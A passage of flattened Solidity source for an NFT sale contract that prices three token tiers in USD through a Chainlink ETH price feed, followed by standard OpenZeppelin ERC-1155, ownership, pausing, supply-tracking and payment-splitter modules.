SaleClosedSet(msg.sender); } function setDeveloperAllocationComplete() external onlyOwner whenSaleClosed { developerAllocationComplete = true; emit DeveloperAllocationCompleteSet(msg.sender); } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function getCurrentRate() external view returns (uint256) { return (uint256(getLatestPrice())); } function getDollarValueInWei(uint256 _dollarValue) external view returns (uint256) { uint256 latestPrice = uint256(getLatestPrice()); return (performConversion(latestPrice, _dollarValue)); } function getCurrentETHPriceById(uint256 _id) external view returns (uint256 priceInETH) { uint256 latestPrice = uint256(getLatestPrice()); if (_id == SERIES1) { return (performConversion(latestPrice, getCurrentTitaniumUSD())); } if (_id == REFILL) { return (performConversion(latestPrice, REFILL_USD)); } if (_id == PLATINUM) { return (performConversion(latestPrice, PLATINUM_USD)); } } function getAllCurrentETHPrices() public view returns ( uint256 titanium, uint256 refiller, uint256 platinum ) { uint256 latestPrice = uint256(getLatestPrice()); uint256 seriesOnePrice = performConversion( latestPrice, getCurrentTitaniumUSD() ); uint256 refillPrice = performConversion(latestPrice, REFILL_USD); uint256 platinumPrice = performConversion(latestPrice, PLATINUM_USD); return ((seriesOnePrice), (refillPrice), (platinumPrice)); } function getTotalMinted() external view returns ( uint256 seriesOne, uint256 refiller, uint256 platinum ) { return (totalSupply(SERIES1), totalSupply(REFILL), totalSupply(PLATINUM)); } function getAccountMinted(address _account) external view returns ( uint256 seriesOne, uint256 refiller, uint256 platinum ) { return ( balanceOf(_account, SERIES1), balanceOf(_account, REFILL), balanceOf(_account, PLATINUM) ); } function getBuffers() external view onlyOwner returns (uint256 bufferUp, uint256 bufferDown) { return (priceBufferUp, priceBufferDown); } /** * @dev Add name, symbol and total supply for consistency with ERC-721 NFTs. */ function name() public pure returns (string memory) { return NAME; } function symbol() public pure returns (string memory) { return SYMBOL; } function totalSupply() public view returns (uint256) { return (totalSupply(SERIES1) + totalSupply(REFILL) + totalSupply(PLATINUM)); } /** * Returns the latest USD price to 8DP of 1 ETH */ function getLatestPrice() public view returns (int256) { ( uint80 roundID, int256 price, uint256 startedAt, uint256 timeStamp, uint80 answeredInRound ) = priceFeed.latestRoundData(); return price; } /** * @dev perform price conversion USD to Wei at the prescribed number of significant figures (i.e. DP in ETH) */ function performConversion(uint256 _price, uint256 _value) internal pure returns (uint256 convertedValue) { require(_price > 0 && _price < 9999999999999, "Pricing Error"); // The USD figure from the price feed is one eth in USD to 8 DP. We need the value of one dollar in wei/ // The price feed has 8DP so lets add that exponent to our wei figure to give us the value of $1 in wei uint256 oneUSDInWei = ((10**26) / _price); // 2) Mutiply our dollar value by that to get our value in wei: uint256 valueInWei = oneUSDInWei * _value; // 3) And then roundup that number to 4DP of eth by removing 10**14 digits, adding 1, then multiplying by 10**14: valueInWei = ((valueInWei / (10**14)) + 1) * (10**14); return (valueInWei); } /** * @dev This function is called from the UI to mint NFTs for the user. Can only be called when the sale is open * and the contract isn't paused. It must be passed three quantities, one for each of the token types: */ function buyTinySeed( uint256 _quantitySeriesOne, uint256 _quantityRefiller, uint256 _quantityPlatinum ) external payable whenSaleOpen whenNotPaused { require( _quantitySeriesOne != 0 || _quantityRefiller != 0 || _quantityPlatinum != 0, "Order must be for an item" ); uint256 orderPrice = priceOrder( _quantitySeriesOne, _quantityRefiller, _quantityPlatinum ); checkPaymentToPrice(msg.value, orderPrice); // To reach here the price check must have passed. Mint the items: processMint( msg.sender, _quantitySeriesOne, _quantityRefiller, _quantityPlatinum, msg.value ); // Events are emitted per order in the mint function. } /** * @dev Get the current price of this order in the same way that it will have been assembled in the UI, * i.e. get the current price of each token type in ETH (including the rounding to 4DP of ETH) and then * multiply that by the total quantity ordered. */ function priceOrder( uint256 _quantitySeriesOne, uint256 _quantityRefiller, uint256 _quantityPlatinum ) internal view returns (uint256 price) { uint256 orderCostInETH = 0; ( uint256 seriesOnePrice, uint256 refillPrice, uint256 platinumPrice ) = getAllCurrentETHPrices(); orderCostInETH = ((seriesOnePrice * _quantitySeriesOne) + (refillPrice * _quantityRefiller) + (platinumPrice * _quantityPlatinum)); return (orderCostInETH); } /** * @dev This function allows the developer allocation mint. It is closed when the bool developerAllocationComplete is set to true */ function mintDeveloperAllocation( uint256 _quantitySeriesOne, uint256 _quantityRefiller, uint256 _quantityPlatinum ) external payable onlyOwner whenSaleClosed whenDeveloperAllocationAvailable { processMint( developer, _quantitySeriesOne, _quantityRefiller, _quantityPlatinum, 0 ); } /** * @dev Unified proccessing for mint operation: */ function processMint( address _recipient, uint256 _quantitySeriesOne, uint256 _quantityRefiller, uint256 _quantityPlatinum, uint256 _cost ) internal { // Series one (titanium) items: if (_quantitySeriesOne > 0) { _mint(_recipient, SERIES1, _quantitySeriesOne, ""); } // Refiller items: if (_quantityRefiller > 0) { _mint(_recipient, REFILL, _quantityRefiller, ""); } // Platinum items: if (_quantityPlatinum > 0) { _mint(_recipient, PLATINUM, _quantityPlatinum, ""); } emit tinySeedMinted( _recipient, _quantitySeriesOne, _quantityRefiller, _quantityPlatinum, totalSupply(SERIES1), totalSupply(REFILL), totalSupply(PLATINUM), _cost ); } /** * @dev Get the current series One price. */ function getCurrentTitaniumUSD() internal view returns (uint256 _currentPrice) { uint256 nextTitanium = totalSupply(SERIES1) + 1; // For efficiency first check if we exceed the highest tier, as presumably most // units will be sold at the standard post-tier price: if (nextTitanium > SERIES1_SUPPLY3) { return (SERIES1_USD4); } if (nextTitanium <= SERIES1_SUPPLY1) { return (SERIES1_USD1); } if (nextTitanium <= SERIES1_SUPPLY2) { return (SERIES1_USD2); } if (nextTitanium <= SERIES1_SUPPLY3) { return (SERIES1_USD3); } } /** * @dev Determine if the passed cost is within bounds of current price: */ function checkPaymentToPrice(uint256 _passedETH, uint256 _orderPrice) internal view { // Establish upper and lower bands of price buffer and check uint256 orderPriceLower = (_orderPrice * priceBufferDown) / 1000; require(_passedETH >= orderPriceLower, "Insufficient ETH passed for order"); uint256 orderPriceUpper = (_orderPrice * priceBufferUp) / 1000; require(_passedETH <= orderPriceUpper, "Too much ETH passed for order"); } /** * @dev The fallback function is executed on a call to the contract if * none of the other functions match the given function signature. */ fallback() external payable { revert(); } /** * @dev revert any random ETH: */ receive() external payable override { revert(); } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal override(ERC1155, ERC1155Supply) whenNotPaused { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol) pragma solidity ^0.8.0; import "../ERC1155.sol"; /** * @dev Extension of {ERC1155} that allows token holders to destroy both their * own tokens and those that they have been approved to use. * * _Available since v3.1._ */ abstract contract ERC1155Burnable is ERC1155 { function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol) pragma solidity ^0.8.0; import "../ERC1155.sol"; /** * @dev Extension of ERC1155 that adds tracking of total supply per id. * * Useful for scenarios where Fungible and Non-fungible tokens have to be * clearly identified. Note: While a totalSupply of 1 might mean the * corresponding is an NFT, there is no guarantees that no other token with the * same id are not going to be minted. */ abstract contract ERC1155Supply is ERC1155 { mapping(uint256 => uint256) private _totalSupply; /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev Indicates whether any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return ERC1155Supply.totalSupply(id) > 0; } /** * @dev See {ERC1155-_beforeTokenTransfer}. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); if (from == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } if (to == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; import "../token/ERC20/utils/SafeERC20.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data 